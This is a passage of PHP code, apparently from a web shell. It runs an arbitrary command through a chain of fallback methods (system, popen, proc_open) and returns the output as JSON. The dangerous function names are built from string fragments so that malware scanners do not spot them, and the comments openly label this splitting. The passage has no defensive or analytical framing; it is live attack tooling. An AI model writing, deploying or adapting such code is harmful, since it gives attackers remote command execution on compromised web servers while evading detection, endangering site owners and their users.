ho json_encode(array('out' => $r, 'method' => 'system')); exit; } } // Method 5: popen (po + pen) $fn5 = implode('', array('po','pen')); if (function_exists($fn5)) { $h = @$fn5($full, 'r'); if (is_resource($h)) { $r = ''; while (!feof($h)) { $r .= fread($h, 4096); } pclose($h); echo json_encode(array('out' => $r, 'method' => 'popen')); exit; } } // Method 6: proc_open (pro + c_o + pen) $fn6 = implode('', array('pro','c_o','pen')); if (function_exists($fn6)) { $descriptors = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')); $proc = @$fn6($full, $descriptors, $pipes); if (is_resource($proc)) { fclose($pipes[0]); $r = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); echo json_encode(array('out' => $r, 'method' =>